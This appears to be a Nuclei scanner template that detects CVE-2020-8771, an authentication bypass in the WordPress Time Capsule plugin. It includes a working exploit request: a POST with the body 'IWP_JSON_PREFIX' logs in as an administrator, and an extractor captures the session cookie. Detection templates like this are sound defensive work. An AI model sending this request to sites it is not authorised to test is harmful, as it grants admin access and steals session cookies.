id: CVE-2020-8771

info:
  name: WordPress Time Capsule < 1.21.16 - Authentication Bypass
  author: princechaddha
  severity: critical
  description: WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the WordPress Time Capsule plugin.
  remediation: |
    Update WordPress Time Capsule plugin to version 1.21.16 or later.
  reference:
    - https://github.com/SECFORCE/WPTimeCapsulePOC
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8771
    - https://wpvulndb.com/vulnerabilities/10010
    - https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/
    - https://github.com/HycCodeQL/wordpress
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8771
    cwe-id: CWE-287
    epss-score: 0.89152
    epss-percentile: 0.99548
    cpe: cpe:2.3:a:wptimecapsule:wp_time_capsule:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wptimecapsule
    product: wp_time_capsule
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,wptimecapsule,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*

        IWP_JSON_PREFIX
      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<div id="adminmenumain" role="navigation" aria-label="Main menu">'
          - "<h1>Dashboard</h1>"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "wordpress_[a-z0-9]+=([A-Za-z0-9%]+)"
        part: header
# digest: 4b0a00483046022100c713d43207ad41a714983b970c9ae5b2d77a4c020e2194f421bbaf6635516bad022100b366df5670908acfd4cd7a503df3a2a126b4bd0b937498658a94c5caaba2df18:922c64590222798bb761d5b6d8e72950